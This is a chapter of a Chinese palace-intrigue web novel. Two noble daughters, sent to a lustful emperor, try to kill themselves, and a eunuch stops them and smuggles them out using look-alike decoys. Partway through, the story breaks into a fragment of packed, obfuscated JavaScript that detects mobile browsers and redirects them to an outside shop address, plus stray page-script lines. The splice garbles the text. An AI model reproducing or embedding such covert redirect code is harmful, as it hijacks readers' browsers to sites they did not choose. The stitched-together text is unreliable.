礼部尚书府侧门大开,一顶青呢小轿停在石狮子旁。
张延龄穿着一身皱巴巴的常服,眼眶通红,老泪纵横地拽着轿杆。
“若兰啊,进了宫……万事顺从,切莫由着性子来啊!”
张若兰从轿子里探出头,泪眼扑簌道:“女儿不孝,恐怕无法孝敬您后半辈子了。爹,你要保重身体!”
周围送行的家丁丫鬟听后跟着抹眼泪,哭声连成一片。
就连路过的百姓看见这一幕指指点点,无不叹息这清流老臣的悲惨遭遇。
“哎,张大人清廉了一辈子,结果到老了还要经历这种痛苦。”
“谁说不是呢!听说这都是慕容家一手造成的。”
“呸!那狗官,早晚得上断头台。”
在百姓的议论声中,四个太监抬起轿子,快步朝皇宫方向走去。
张延龄站在原地,看着轿子转过街角,抬起袖子胡乱擦了擦脸,转身朝府内走去。
他转头瞪了一眼还在假哭的管家,低声骂道:“行了,别嚎了。就你哭那两声连,都没有府里大黄丢了哭得伤心!”
管家连忙抹了把眼泪,小声嘀咕道:“小姐这不是还会回来嘛,这真装不出来啊!”
张延龄听后抬起手,作势就要拍过去。
管家见状赶紧跑远,喊道:“老爷,我先去给小姐收拾房间了。”
张延龄摇摇头,笑着走回书房。
此时太常寺卿李文渊府邸上演着同样的戏码。
李大人怕自己演得不像,直接装作气急攻心晕倒了。
被管家扣了半天的人中,这才“醒”来。
两顶轿子一前一后,抬进了皇宫。直接落轿在储秀宫。
张若兰和李婉清被宫女扶着下轿,往偏殿走去。
宫女推开房门,把二人带到罗汉床上。
转身走出房外,关紧了殿门。
张若兰和李婉清坐在罗汉床上,脸色惨白。
前者穿着一身素白中衣,发髻有些凌乱。
她摸了摸袖口,那里藏着一把锋利的金铰剪。
李婉清则从发髻里拔出一根银簪,死死攥在手心里。
在她们眼里,面对那个暴虐好色的皇帝,只有死路一条。
张若兰哭着说道:“呜呜呜~婉清姐姐,我下个月就要成婚了。我宁可死,也绝不受那昏君的折辱!”
李婉清握住张若兰的手,咬牙道:“妹妹别怕,黄泉路上,咱们做个伴。保全了名节,也不算辱没了家风。等门一开,咱们就动手。”
御书房内,李万天披了件明黄色的寝衣,在四处溜达。
他眼袋浮肿,脚步虚浮,精神却异常亢奋。
“人送到了没有?”
小太监跪在地上回话:“回陛下,张家和李家的千金已经安置在储秀宫了。奴才派人验过,都是清白身子,模样比画册上还水灵。”
李万天听完,仰头大笑,“哈哈,林钰这差事办得合朕心意!传朕旨意,今日早朝免了。”
他说完顿了顿,接着说道:“林钰送来那丹药已经用完了,不知道下什么时候炼制好。算了,让御膳房熬一锅鹿血甲鱼汤送来,再给朕备水沐浴。今晚,朕要去储秀宫一挑二,好好会会这两位千金!”
“是,陛下!”
老太监连声应下,弓着腰退出去准备。
李万天走到铜镜前,摸了摸自己的下巴,满脑子都是晚上的活色生香。
储秀宫偏殿内,气氛压抑到了极点。
张若兰听见外面杂乱的脚步声,以为是接人的太监来了。
她心下一横,掏出袖子里的金铰剪,对准了自己白皙的脖颈,闭上眼睛就要用力扎下去。
砰!
两扇木门被人推开。
林钰跨过门槛,大步迈进屋内。
他瞧见张若兰的动作,身形一晃,欺身而上。
他右手探出,一把捏住张若兰的手腕,往外一翻。
当啷一声,金铰剪掉在青砖地上。
另一边,李婉清见状,举起淬毒的银簪就要往自己心口刺。
林钰左手一挥,宽大的袖袍卷住她的手臂,稍一发力,银簪脱手飞出,笃的一声钉在旁边的紫檀木柱上。
两人还没反应过来,手里的家伙全没了。
张若兰和李婉清吓得花容失色,缩在床榻角落里。
看清来人穿着一身青色**袍,是个太监,两人眼中的惊恐更甚。
张若兰随手抓起一个瓷枕挡在胸前,颤抖着说道:“你……你别过来!”
林钰见状退后两步,拉开距离,笑道:“两位千金,急着投胎去?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312151|183474||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>李婉清破口大骂道:“阉贼!你休想碰我们一根手指头!”
林钰听后懒得跟她们废话,直接从怀里掏出两样东西,扔在桌上。
张若兰定睛一看,是一块雕着仙鹤的玉佩,那是她爹张延龄从不离身的物件。
李婉清也认出了旁边那个羊脂玉扳指,正是父亲李文渊的贴身之物。
两人愣住了。
林钰拉过一把椅子坐下,翘起二郎腿,“昨晚张大人和李大人在醉仙楼跟我喝了杯茶。我答应他们,全须全尾地把你们送回去。两位要是死在这儿,我可没法交差啊。”
张若兰半信半疑,眼泪夺眶而出,哽咽道:“你……你真能救我们出去?那皇上那边你怎么交代?”
李婉清也冷静下来,看着林钰:“这是欺君之罪,你一个太监,拿什么顶包?”
林钰没答话,抬起双手拍了两下。
啪,啪。
内室的屏风后面,传出细碎的脚步声。
两个穿着和她们一模一样素白中衣的女子,低着头走了出来。
张若兰和李婉清看清那两人的脸,惊得捂住嘴巴。
这两个女子,无论是五官轮廓,还是身段高矮,甚至连低头时那种楚楚可怜的仪态,都跟她们一般无二。
要不是亲眼所见,她们甚至分不清哪个才是自己。
林钰端起桌上的冷茶喝了一口,指着那两人说道:“我林钰办事,向来滴水不漏。这两位,是我花重金在江南找来的顶尖瘦马。经过易容大师的修饰,就算你们亲爹站在这儿,一时半会也认不出来。”
这两个女子可不是普通的瘦马。
她们是孙书蝶在城南那座宅子里,手把手调教出来的绿茶特工。
那丫头把那些拿捏男人的手段,毫无保留地教给了她们。
林钰站起身,对张若兰和李婉清说道:“时间紧迫。桌上有两套太监服,换上。门外有我的人接应,从储秀宫后院的枯井暗道出去。出了宫,自然有人送你们回府。”
张若兰和李婉清对视一眼,知道这是唯一的生路。
两人跪在地上,结结实实给林钰磕了个头。
“林总管大恩大德,没齿难忘。”张若兰擦干眼泪。
“行了,赶紧换衣服走人。”林钰摆摆手。